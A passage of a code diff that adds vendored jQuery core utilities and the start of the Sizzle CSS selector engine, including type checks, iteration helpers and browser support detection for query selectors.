+		if ( ( options = arguments[ i ] ) != null ) {
+
+			// Extend the base object
+			for ( name in options ) {
+				src = target[ name ];
+				copy = options[ name ];
+
+				// Prevent never-ending loop
+				if ( target === copy ) {
+					continue;
+				}
+
+				// Recurse if we're merging plain objects or arrays
+				if ( deep && copy && ( jQuery.isPlainObject( copy ) ||
+					( copyIsArray = jQuery.isArray( copy ) ) ) ) {
+
+					if ( copyIsArray ) {
+						copyIsArray = false;
+						clone = src && jQuery.isArray( src ) ? src : [];
+
+					} else {
+						clone = src && jQuery.isPlainObject( src ) ? src : {};
+					}
+
+					// Never move original objects, clone them
+					target[ name ] = jQuery.extend( deep, clone, copy );
+
+				// Don't bring in undefined values
+				} else if ( copy !== undefined ) {
+					target[ name ] = copy;
+				}
+			}
+		}
+	}
+
+	// Return the modified object
+	return target;
+};
+
+jQuery.extend( {
+
+	// Unique for each copy of jQuery on the page
+	expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),
+
+	// Assume jQuery is ready without the ready module
+	isReady: true,
+
+	error: function( msg ) {
+		throw new Error( msg );
+	},
+
+	noop: function() {},
+
+	isFunction: function( obj ) {
+		return jQuery.type( obj ) === "function";
+	},
+
+	isArray: Array.isArray,
+
+	isWindow: function( obj ) {
+		return obj != null && obj === obj.window;
+	},
+
+	isNumeric: function( obj ) {
+
+		// parseFloat NaNs numeric-cast false positives (null|true|false|"")
+		// ...but misinterprets leading-number strings, particularly hex literals ("0x...")
+		// subtraction forces infinities to NaN
+		// adding 1 corrects loss of precision from parseFloat (#15100)
+		var realStringObj = obj && obj.toString();
+		return !jQuery.isArray( obj ) && ( realStringObj - parseFloat( realStringObj ) + 1 ) >= 0;
+	},
+
+	isPlainObject: function( obj ) {
+
+		// Not plain objects:
+		// - Any object or value whose internal [[Class]] property is not "[object Object]"
+		// - DOM nodes
+		// - window
+		if ( jQuery.type( obj ) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) {
+			return false;
+		}
+
+		if ( obj.constructor &&
+				!hasOwn.call( obj.constructor.prototype, "isPrototypeOf" ) ) {
+			return false;
+		}
+
+		// If the function hasn't returned already, we're confident that
+		// |obj| is a plain object, created by {} or constructed with new Object
+		return true;
+	},
+
+	isEmptyObject: function( obj ) {
+		var name;
+		for ( name in obj ) {
+			return false;
+		}
+		return true;
+	},
+
+	type: function( obj ) {
+		if ( obj == null ) {
+			return obj + "";
+		}
+
+		// Support: Android<4.0, iOS<6 (functionish RegExp)
+		return typeof obj === "object" || typeof obj === "function" ?
+			class2type[ toString.call( obj ) ] || "object" :
+			typeof obj;
+	},
+
+	// Evaluates a script in a global context
+	globalEval: function( code ) {
+		var script,
+			indirect = eval;
+
+		code = jQuery.trim( code );
+
+		if ( code ) {
+
+			// If the code includes a valid, prologue position
+			// strict mode pragma, execute code by injecting a
+			// script tag into the document.
+			if ( code.indexOf( "use strict" ) === 1 ) {
+				script = document.createElement( "script" );
+				script.text = code;
+				document.head.appendChild( script ).parentNode.removeChild( script );
+			} else {
+
+				// Otherwise, avoid the DOM node creation, insertion
+				// and removal by using an indirect global eval
+
+				indirect( code );
+			}
+		}
+	},
+
+	// Convert dashed to camelCase; used by the css and data modules
+	// Support: IE9-11+
+	// Microsoft forgot to hump their vendor prefix (#9572)
+	camelCase: function( string ) {
+		return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
+	},
+
+	nodeName: function( elem, name ) {
+		return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
+	},
+
+	each: function( obj, callback ) {
+		var length, i = 0;
+
+		if ( isArrayLike( obj ) ) {
+			length = obj.length;
+			for ( ; i < length; i++ ) {
+				if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
+					break;
+				}
+			}
+		} else {
+			for ( i in obj ) {
+				if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
+					break;
+				}
+			}
+		}
+
+		return obj;
+	},
+
+	// Support: Android<4.1
+	trim: function( text ) {
+		return text == null ?
+			"" :
+			( text + "" ).replace( rtrim, "" );
+	},
+
+	// results is for internal usage only
+	makeArray: function( arr, results ) {
+		var ret = results || [];
+
+		if ( arr != null ) {
+			if ( isArrayLike( Object( arr ) ) ) {
+				jQuery.merge( ret,
+					typeof arr === "string" ?
+					[ arr ] : arr
+				);
+			} else {
+				push.call( ret, arr );
+			}
+		}
+
+		return ret;
+	},
+
+	inArray: function( elem, arr, i ) {
+		return arr == null ? -1 : indexOf.call( arr, elem, i );
+	},
+
+	merge: function( first, second ) {
+		var len = +second.length,
+			j = 0,
+			i = first.length;
+
+		for ( ; j < len; j++ ) {
+			first[ i++ ] = second[ j ];
+		}
+
+		first.length = i;
+
+		return first;
+	},
+
+	grep: function( elems, callback, invert ) {
+		var callbackInverse,
+			matches = [],
+			i = 0,
+			length = elems.length,
+			callbackExpect = !invert;
+
+		// Go through the array, only saving the items
+		// that pass the validator function
+		for ( ; i < length; i++ ) {
+			callbackInverse = !callback( elems[ i ], i );
+			if ( callbackInverse !== callbackExpect ) {
+				matches.push( elems[ i ] );
+			}
+		}
+
+		return matches;
+	},
+
+	// arg is for internal usage only
+	map: function( elems, callback, arg ) {
+		var length, value,
+			i = 0,
+			ret = [];
+
+		// Go through the array, translating each of the items to their new values
+		if ( isArrayLike( elems ) ) {
+			length = elems.length;
+			for ( ; i < length; i++ ) {
+				value = callback( elems[ i ], i, arg );
+
+				if ( value != null ) {
+					ret.push( value );
+				}
+			}
+
+		// Go through every key on the object,
+		} else {
+			for ( i in elems ) {
+				value = callback( elems[ i ], i, arg );
+
+				if ( value != null ) {
+					ret.push( value );
+				}
+			}
+		}
+
+		// Flatten any nested arrays
+		return concat.apply( [], ret );
+	},
+
+	// A global GUID counter for objects
+	guid: 1,
+
+	// Bind a function to a context, optionally partially applying any
+	// arguments.
+	proxy: function( fn, context ) {
+		var tmp, args, proxy;
+
+		if ( typeof context === "string" ) {
+			tmp = fn[ context ];
+			context = fn;
+			fn = tmp;
+		}
+
+		// Quick check to determine if target is callable, in the spec
+		// this throws a TypeError, but we will just return undefined.
+		if ( !jQuery.isFunction( fn ) ) {
+			return undefined;
+		}
+
+		// Simulated bind
+		args = slice.call( arguments, 2 );
+		proxy = function() {
+			return fn.apply( context || this, args.concat( slice.call( arguments ) ) );
+		};
+
+		// Set the guid of unique handler to the same of original handler, so it can be removed
+		proxy.guid = fn.guid = fn.guid || jQuery.guid++;
+
+		return proxy;
+	},
+
+	now: Date.now,
+
+	// jQuery.support is not used in Core but other projects attach their
+	// properties to it so it needs to exist.
+	support: support
+} );
+
+// JSHint would error on this code due to the Symbol not being defined in ES5.
+// Defining this global in .jshintrc would create a danger of using the global
+// unguarded in another place, it seems safer to just disable JSHint for these
+// three lines.
+/* jshint ignore: start */
+if ( typeof Symbol === "function" ) {
+	jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];
+}
+/* jshint ignore: end */
+
+// Populate the class2type map
+jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ),
+function( i, name ) {
+	class2type[ "[object " + name + "]" ] = name.toLowerCase();
+} );
+
+function isArrayLike( obj ) {
+
+	// Support: iOS 8.2 (not reproducible in simulator)
+	// `in` check used to prevent JIT error (gh-2145)
+	// hasOwn isn't used here due to false negatives
+	// regarding Nodelist length in IE
+	var length = !!obj && "length" in obj && obj.length,
+		type = jQuery.type( obj );
+
+	if ( type === "function" || jQuery.isWindow( obj ) ) {
+		return false;
+	}
+
+	return type === "array" || length === 0 ||
+		typeof length === "number" && length > 0 && ( length - 1 ) in obj;
+}
+var Sizzle =
+/*!
+ * Sizzle CSS Selector Engine v2.2.1
+ * http://sizzlejs.com/
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license
+ * http://jquery.org/license
+ *
+ * Date: 2015-10-17
+ */
+(function( window ) {
+
+var i,
+	support,
+	Expr,
+	getText,
+	isXML,
+	tokenize,
+	compile,
+	select,
+	outermostContext,
+	sortInput,
+	hasDuplicate,
+
+	// Local document vars
+	setDocument,
+	document,
+	docElem,
+	documentIsHTML,
+	rbuggyQSA,
+	rbuggyMatches,
+	matches,
+	contains,
+
+	// Instance-specific data
+	expando = "sizzle" + 1 * new Date(),
+	preferredDoc = window.document,
+	dirruns = 0,
+	done = 0,
+	classCache = createCache(),
+	tokenCache = createCache(),
+	compilerCache = createCache(),
+	sortOrder = function( a, b ) {
+		if ( a === b ) {
+			hasDuplicate = true;
+		}
+		return 0;
+	},
+
+	// General-purpose constants
+	MAX_NEGATIVE = 1 << 31,
+
+	// Instance methods
+	hasOwn = ({}).hasOwnProperty,
+	arr = [],
+	pop = arr.pop,
+	push_native = arr.push,
+	push = arr.push,
+	slice = arr.slice,
+	// Use a stripped-down indexOf as it's faster than native
+	// http://jsperf.com/thor-indexof-vs-for/5
+	indexOf = function( list, elem ) {
+		var i = 0,
+			len = list.length;
+		for ( ; i < len; i++ ) {
+			if ( list[i] === elem ) {
+				return i;
+			}
+		}
+		return -1;
+	},
+
+	booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
+
+	// Regular expressions
+
+	// http://www.w3.org/TR/css3-selectors/#whitespace
+	whitespace = "[\\x20\\t\\r\\n\\f]",
+
+	// http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
+	identifier = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
+
+	// Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors
+	attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace +
+		// Operator (capture 2)
+		"*([*^$|!~]?=)" + whitespace +
+		// "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]"
+		"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace +
+		"*\\]",
+
+	pseudos = ":(" + identifier + ")(?:\\((" +
+		// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:
+		// 1. quoted (capture 3; capture 4 or capture 5)
+		"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" +
+		// 2. simple (capture 6)
+		"((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" +
+		// 3. anything else (capture 2)
+		".*" +
+		")\\)|)",
+
+	// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
+	rwhitespace = new RegExp( whitespace + "+", "g" ),
+	rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
+
+	rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
+	rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ),
+
+	rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ),
+
+	rpseudo = new RegExp( pseudos ),
+	ridentifier = new RegExp( "^" + identifier + "$" ),
+
+	matchExpr = {
+		"ID": new RegExp( "^#(" + identifier + ")" ),
+		"CLASS": new RegExp( "^\\.(" + identifier + ")" ),
+		"TAG": new RegExp( "^(" + identifier + "|[*])" ),
+		"ATTR": new RegExp( "^" + attributes ),
+		"PSEUDO": new RegExp( "^" + pseudos ),
+		"CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace +
+			"*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
+			"*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
+		"bool": new RegExp( "^(?:" + booleans + ")$", "i" ),
+		// For use in libraries implementing .is()
+		// We use this for POS matching in `select`
+		"needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" +
+			whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
+	},
+
+	rinputs = /^(?:input|select|textarea|button)$/i,
+	rheader = /^h\d$/i,
+
+	rnative = /^[^{]+\{\s*\[native \w/,
+
+	// Easily-parseable/retrievable ID or TAG or CLASS selectors
+	rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
+
+	rsibling = /[+~]/,
+	rescape = /'|\\/g,
+
+	// CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
+	runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ),
+	funescape = function( _, escaped, escapedWhitespace ) {
+		var high = "0x" + escaped - 0x10000;
+		// NaN means non-codepoint
+		// Support: Firefox<24
+		// Workaround erroneous numeric interpretation of +"0x"
+		return high !== high || escapedWhitespace ?
+			escaped :
+			high < 0 ?
+				// BMP codepoint
+				String.fromCharCode( high + 0x10000 ) :
+				// Supplemental Plane codepoint (surrogate pair)
+				String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
+	},
+
+	// Used for iframes
+	// See setDocument()
+	// Removing the function wrapper causes a "Permission Denied"
+	// error in IE
+	unloadHandler = function() {
+		setDocument();
+	};
+
+// Optimize for push.apply( _, NodeList )
+try {
+	push.apply(
+		(arr = slice.call( preferredDoc.childNodes )),
+		preferredDoc.childNodes
+	);
+	// Support: Android<4.0
+	// Detect silently failing push.apply
+	arr[ preferredDoc.childNodes.length ].nodeType;
+} catch ( e ) {
+	push = { apply: arr.length ?
+
+		// Leverage slice if possible
+		function( target, els ) {
+			push_native.apply( target, slice.call(els) );
+		} :
+
+		// Support: IE<9
+		// Otherwise append directly
+		function( target, els ) {
+			var j = target.length,
+				i = 0;
+			// Can't trust NodeList.length
+			while ( (target[j++] = els[i++]) ) {}
+			target.length = j - 1;
+		}
+	};
+}
+
+function Sizzle( selector, context, results, seed ) {
+	var m, i, elem, nid, nidselect, match, groups, newSelector,
+		newContext = context && context.ownerDocument,
+
+		// nodeType defaults to 9, since context defaults to document
+		nodeType = context ? context.nodeType : 9;
+
+	results = results || [];
+
+	// Return early from calls with invalid selector or context
+	if ( typeof selector !== "string" || !selector ||
+		nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {
+
+		return results;
+	}
+
+	// Try to shortcut find operations (as opposed to filters) in HTML documents
+	if ( !seed ) {
+
+		if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {
+			setDocument( context );
+		}
+		context = context || document;
+
+		if ( documentIsHTML ) {
+
+			// If the selector is sufficiently simple, try using a "get*By*" DOM method
+			// (excepting DocumentFragment context, where the methods don't exist)
+			if ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) {
+
+				// ID selector
+				if ( (m = match[1]) ) {
+
+					// Document context
+					if ( nodeType === 9 ) {
+						if ( (elem = context.getElementById( m )) ) {
+
+							// Support: IE, Opera, Webkit
+							// TODO: identify versions
+							// getElementById can match elements by name instead of ID
+							if ( elem.id === m ) {
+								results.push( elem );
+								return results;
+							}
+						} else {
+							return results;
+						}
+
+					// Element context
+					} else {
+
+						// Support: IE, Opera, Webkit
+						// TODO: identify versions
+						// getElementById can match elements by name instead of ID
+						if ( newContext && (elem = newContext.getElementById( m )) &&
+							contains( context, elem ) &&
+							elem.id === m ) {
+
+							results.push( elem );
+							return results;
+						}
+					}
+
+				// Type selector
+				} else if ( match[2] ) {
+					push.apply( results, context.getElementsByTagName( selector ) );
+					return results;
+
+				// Class selector
+				} else if ( (m = match[3]) && support.getElementsByClassName &&
+					context.getElementsByClassName ) {
+
+					push.apply( results, context.getElementsByClassName( m ) );
+					return results;
+				}
+			}
+
+			// Take advantage of querySelectorAll
+			if ( support.qsa &&
+				!compilerCache[ selector + " " ] &&
+				(!rbuggyQSA || !rbuggyQSA.test( selector )) ) {
+
+				if ( nodeType !== 1 ) {
+					newContext = context;
+					newSelector = selector;
+
+				// qSA looks outside Element context, which is not what we want
+				// Thanks to Andrew Dupont for this workaround technique
+				// Support: IE <=8
+				// Exclude object elements
+				} else if ( context.nodeName.toLowerCase() !== "object" ) {
+
+					// Capture the context ID, setting it first if necessary
+					if ( (nid = context.getAttribute( "id" )) ) {
+						nid = nid.replace( rescape, "\\$&" );
+					} else {
+						context.setAttribute( "id", (nid = expando) );
+					}
+
+					// Prefix every selector in the list
+					groups = tokenize( selector );
+					i = groups.length;
+					nidselect = ridentifier.test( nid ) ? "#" + nid : "[id='" + nid + "']";
+					while ( i-- ) {
+						groups[i] = nidselect + " " + toSelector( groups[i] );
+					}
+					newSelector = groups.join( "," );
+
+					// Expand context for sibling selectors
+					newContext = rsibling.test( selector ) && testContext( context.parentNode ) ||
+						context;
+				}
+
+				if ( newSelector ) {
+					try {
+						push.apply( results,
+							newContext.querySelectorAll( newSelector )
+						);
+						return results;
+					} catch ( qsaError ) {
+					} finally {
+						if ( nid === expando ) {
+							context.removeAttribute( "id" );
+						}
+					}
+				}
+			}
+		}
+	}
+
+	// All others
+	return select( selector.replace( rtrim, "$1" ), context, results, seed );
+}
+
+/**
+ * Create key-value caches of limited size
+ * @returns {function(string, object)} Returns the Object data after storing it on itself with
+ *	property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
+ *	deleting the oldest entry
+ */
+function createCache() {
+	var keys = [];
+
+	function cache( key, value ) {
+		// Use (key + " ") to avoid collision with native prototype properties (see Issue #157)
+		if ( keys.push( key + " " ) > Expr.cacheLength ) {
+			// Only keep the most recent entries
+			delete cache[ keys.shift() ];
+		}
+		return (cache[ key + " " ] = value);
+	}
+	return cache;
+}
+
+/**
+ * Mark a function for special use by Sizzle
+ * @param {Function} fn The function to mark
+ */
+function markFunction( fn ) {
+	fn[ expando ] = true;
+	return fn;
+}
+
+/**
+ * Support testing using an element
+ * @param {Function} fn Passed the created div and expects a boolean result
+ */
+function assert( fn ) {
+	var div = document.createElement("div");
+
+	try {
+		return !!fn( div );
+	} catch (e) {
+		return false;
+	} finally {
+		// Remove from its parent by default
+		if ( div.parentNode ) {
+			div.parentNode.removeChild( div );
+		}
+		// release memory in IE
+		div = null;
+	}
+}
+
+/**
+ * Adds the same handler for all of the specified attrs
+ * @param {String} attrs Pipe-separated list of attributes
+ * @param {Function} handler The method that will be applied
+ */
+function addHandle( attrs, handler ) {
+	var arr = attrs.split("|"),
+		i = arr.length;
+
+	while ( i-- ) {
+		Expr.attrHandle[ arr[i] ] = handler;
+	}
+}
+
+/**
+ * Checks document order of two siblings
+ * @param {Element} a
+ * @param {Element} b
+ * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b
+ */
+function siblingCheck( a, b ) {
+	var cur = b && a,
+		diff = cur && a.nodeType === 1 && b.nodeType === 1 &&
+			( ~b.sourceIndex || MAX_NEGATIVE ) -
+			( ~a.sourceIndex || MAX_NEGATIVE );
+
+	// Use IE sourceIndex if available on both nodes
+	if ( diff ) {
+		return diff;
+	}
+
+	// Check if b follows a
+	if ( cur ) {
+		while ( (cur = cur.nextSibling) ) {
+			if ( cur === b ) {
+				return -1;
+			}
+		}
+	}
+
+	return a ? 1 : -1;
+}
+
+/**
+ * Returns a function to use in pseudos for input types
+ * @param {String} type
+ */
+function createInputPseudo( type ) {
+	return function( elem ) {
+		var name = elem.nodeName.toLowerCase();
+		return name === "input" && elem.type === type;
+	};
+}
+
+/**
+ * Returns a function to use in pseudos for buttons
+ * @param {String} type
+ */
+function createButtonPseudo( type ) {
+	return function( elem ) {
+		var name = elem.nodeName.toLowerCase();
+		return (name === "input" || name === "button") && elem.type === type;
+	};
+}
+
+/**
+ * Returns a function to use in pseudos for positionals
+ * @param {Function} fn
+ */
+function createPositionalPseudo( fn ) {
+	return markFunction(function( argument ) {
+		argument = +argument;
+		return markFunction(function( seed, matches ) {
+			var j,
+				matchIndexes = fn( [], seed.length, argument ),
+				i = matchIndexes.length;
+
+			// Match elements found at the specified indexes
+			while ( i-- ) {
+				if ( seed[ (j = matchIndexes[i]) ] ) {
+					seed[j] = !(matches[j] = seed[j]);
+				}
+			}
+		});
+	});
+}
+
+/**
+ * Checks a node for validity as a Sizzle context
+ * @param {Element|Object=} context
+ * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
+ */
+function testContext( context ) {
+	return context && typeof context.getElementsByTagName !== "undefined" && context;
+}
+
+// Expose support vars for convenience
+support = Sizzle.support = {};
+
+/**
+ * Detects XML nodes
+ * @param {Element|Object} elem An element or a document
+ * @returns {Boolean} True iff elem is a non-HTML XML node
+ */
+isXML = Sizzle.isXML = function( elem ) {
+	// documentElement is verified for cases where it doesn't yet exist
+	// (such as loading iframes in IE - #4833)
+	var documentElement = elem && (elem.ownerDocument || elem).documentElement;
+	return documentElement ? documentElement.nodeName !== "HTML" : false;
+};
+
+/**
+ * Sets document-related variables once based on the current document
+ * @param {Element|Object} [doc] An element or document object to use to set the document
+ * @returns {Object} Returns the current document
+ */
+setDocument = Sizzle.setDocument = function( node ) {
+	var hasCompare, parent,
+		doc = node ? node.ownerDocument || node : preferredDoc;
+
+	// Return early if doc is invalid or already selected
+	if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {
+		return document;
+	}
+
+	// Update global variables
+	document = doc;
+	docElem = document.documentElement;
+	documentIsHTML = !isXML( document );
+
+	// Support: IE 9-11, Edge
+	// Accessing iframe documents after unload throws "permission denied" errors (jQuery #13936)
+	if ( (parent = document.defaultView) && parent.top !== parent ) {
+		// Support: IE 11
+		if ( parent.addEventListener ) {
+			parent.addEventListener( "unload", unloadHandler, false );
+
+		// Support: IE 9 - 10 only
+		} else if ( parent.attachEvent ) {
+			parent.attachEvent( "onunload", unloadHandler );
+		}
+	}
+
+	/* Attributes
+	---------------------------------------------------------------------- */
+
+	// Support: IE<8
+	// Verify that getAttribute really returns attributes and not properties
+	// (excepting IE8 booleans)
+	support.attributes = assert(function( div ) {
+		div.className = "i";
+		return !div.getAttribute("className");
+	});
+
+	/* getElement(s)By*
+	---------------------------------------------------------------------- */
+
+	// Check if getElementsByTagName("*") returns only elements
+	support.getElementsByTagName = assert(function( div ) {
+		div.appendChild( document.createComment("") );
+		return !div.getElementsByTagName("*").length;
+	});
+
+	// Support: IE<9
+	support.getElementsByClassName = rnative.test( document.getElementsByClassName );
+
+	// Support: IE<10
+	// Check if getElementById returns elements by name
+	// The broken getElementById methods don't pick up programatically-set names,
+	// so use a roundabout getElementsByName test
+	support.getById = assert(function( div ) {
+		docElem.appendChild( div ).id = expando;
+		return !document.getElementsByName || !document.getElementsByName( expando ).length;
+	});
+
+	// ID find and filter
+	if ( support.getById ) {
+		Expr.find["ID"] = function( id, context ) {
+			if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
+				var m = context.getElementById( id );
+				return m ? [ m ] : [];
+			}
+		};
+		Expr.filter["ID"] = function( id ) {
+			var attrId = id.replace( runescape, funescape );
+			return function( elem ) {
+				return elem.getAttribute("id") === attrId;
+			};
+		};
+	} else {
+		// Support: IE6/7
+		// getElementById is not reliable as a find shortcut
+		delete Expr.find["ID"];
+
+		Expr.filter["ID"] =  function( id ) {
+			var attrId = id.replace( runescape, funescape );
+			return function( elem ) {
+				var node = typeof elem.getAttributeNode !== "undefined" &&
+					elem.getAttributeNode("id");
+				return node && node.value === attrId;
+			};
+		};
+	}
+
+	// Tag
+	Expr.find["TAG"] = support.getElementsByTagName ?
+		function( tag, context ) {
+			if ( typeof context.getElementsByTagName !== "undefined" ) {
+				return context.getElementsByTagName( tag );
+
+			// DocumentFragment nodes don't have gEBTN
+			} else if ( support.qsa ) {
+				return context.querySelectorAll( tag );
+			}
+		} :
+
+		function( tag, context ) {
+			var elem,
+				tmp = [],
+				i = 0,
+				// By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too
+				results = context.getElementsByTagName( tag );
+
+			// Filter out possible comments
+			if ( tag === "*" ) {
+				while ( (elem = results[i++]) ) {
+					if ( elem.nodeType === 1 ) {
+						tmp.push( elem );
+					}
+				}
+
+				return tmp;
+			}
+			return results;
+		};
+
+	// Class
+	Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) {
+		if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) {
+			return context.getElementsByClassName( className );
+		}
+	};
+
+	/* QSA/matchesSelector
+	---------------------------------------------------------------------- */
+
+	// QSA and matchesSelector support
+
+	// matchesSelector(:active) reports false when true (IE9/Opera 11.5)
+	rbuggyMatches = [];
+
+	// qSa(:focus) reports false when true (Chrome 21)
+	// We allow this because of a bug in IE8/9 that throws an error
+	// whenever `document.activeElement` is accessed on an iframe
+	// So, we allow :focus to pass through QSA all the time to avoid the IE error
+	// See http://bugs.jquery.com/ticket/13378
+	rbuggyQSA = [];
+
+	if ( (support.qsa = rnative.test( document.querySelectorAll )) ) {
+		// Build QSA regex
+		// Regex strategy adopted from Diego Perini
+		assert(function( div ) {
+			// Select is set to empty string on purpose
+			// This is to test IE's treatment of not explicitly
+			// setting a boolean content attribute,
+			// since its presence should be enough
+			// http://bugs.jquery.com/ticket/12359
+			docElem.appendChild( div ).innerHTML = "<a id='" + expando + "'></a>" +
+				"<select id='" + expando + "-\r\\' msallowcapture=''>" +
+				"<option selected=''></option></select>";
+
+			// Support: IE8, Opera 11-12.16
+			// Nothing should be selected when empty strings follow ^= or $= or *=
+			// The test attribute must be unknown in Opera but "safe" for WinRT
+			// http://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section
+			if ( div.querySelectorAll("[msallowcapture^='']").length ) {
+				rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" );
+			}
+
+			// Support: IE8
+			// Boolean attributes and "value" are not treated correctly
+			if ( !div.querySelectorAll("[selected]").length ) {
+				rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" );
+			}
+
+			// Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+
+			if ( !div.querySelectorAll( "[id~=" + expando + "-]" ).length ) {
+				rbuggyQSA.push("~=");
+			}
+
+			// Webkit/Opera - :checked should return selected option elements
+			// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
+			// IE8 throws error here and will not see later tests
+			if ( !div.querySelectorAll(":checked").length ) {
+				rbuggyQSA.push(":checked");
+			}
+
+			// Support: Safari 8+, iOS 8+
+			// https://bugs.webkit.org/show_bug.cgi?id=136851
+			// In-page `selector#id sibing-combinator selector` fails
+			if ( !div.querySelectorAll( "a#" + expando + "+*" ).length ) {
+				rbuggyQSA.push(".#.+[+~]");
+			}
+		});
+
+		assert(function( div ) {
+			// Support: Windows 8 Native Apps
+			// The type and name attributes are restricted during .innerHTML assignment
+			var input = document.createElement("input");
+			input.setAttribute( "type", "hidden" );
+			div.appendChild( input ).setAttribute( "name", "D" );
+
+			// Support: IE8
+			// Enforce case-sensitivity of name attribute
+			if ( div.querySelectorAll("[name=d]").length ) {
+				rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" );
+			}
+
+			// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
+			// IE8 throws error here and will not see later tests
+			if ( !div.querySelectorAll(":enabled").length ) {
+				rbuggyQSA.push( ":enabled", ":disabled" );
+			}
+
+			// Opera 10-11 does not throw on post-comma invalid pseudos
+			div.querySelectorAll("*,:x");
+			rbuggyQSA.push(",.*:");
+		});
+	}
+
+	if ( (support.matchesSelector = rnative.test( (matches = docElem.matches ||
+		docElem.webkitMatchesSelector ||
+		docElem.mozMatchesSelector ||
+		docElem.oMatchesSelector ||
+		docElem.msMatchesSelector) )) ) {
+
+		assert(function( div ) {
+			// Check to see if it's possible to do matchesSelector
+			// on a disconnected node (IE 9)
+			support.disconnectedMatch = matches.call( div, "div" );
+
+			// This should fail with an exception
+			// Gecko does not error, returns false instead
+			matches.call( div, "[s!='']:x" );
+			rbuggyMatches.push( "!=", pseudos );
+		});
+	}
+
+	rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") );
+	rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") );
+
+	/* Contains
+	---------------------------------------------------------------------- */
+	hasCompare = rnative.test( docElem.compareDocumentPosition );
+
+	// Element contains another
+	// Purposefully self-exclusive
+	// As in, an element does not contain itself
+	contains = hasCompare || rnative.test( docElem.contains ) ?
+		function( a, b ) {
+			var adown = a.nodeType === 9 ? a.documentElement : a,
+				bup = b && b.parentNode;
+			return a === bup || !!( bup && bup.nodeType === 1 && (
+				adown.contains ?
+					adown.contains( bup ) :
+					a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
+			));
+		} :
+		function( a, b ) {
+			if ( b ) {
+				while ( (b = b.parentNode) ) {
+					if ( b === a ) {
+						return true;
+					}
+				}
+			}
+			return false;
+		};
+
+	/* Sorting
+	---------------------------------------------------------------------- */
+
+	// Document order sorting
+	sortOrder = hasCompare ?
+	function( a, b ) {
+
+		// Flag for duplicate removal
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+		}
+
+		// Sort on method existence if only one input has compareDocumentPosition
+		var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
+		if ( compare ) {
+			return compare;
+		}
+
+		// Calculate position if both inputs belong to the same document
+		compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?
+			a.compareDocumentPosition( b ) :
+
+			// Otherwise we know they are disconnected
+			1;
+
+		// Disconnected nodes
+		if ( compare & 1 ||
+			(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {
+
+			// Choose the first element that is related to our preferred document
+			if ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {
+				return -1;
+			}
+			if ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {
+				return 1;
+			}
+
+			// Maintain original order
+			return sortInput ?
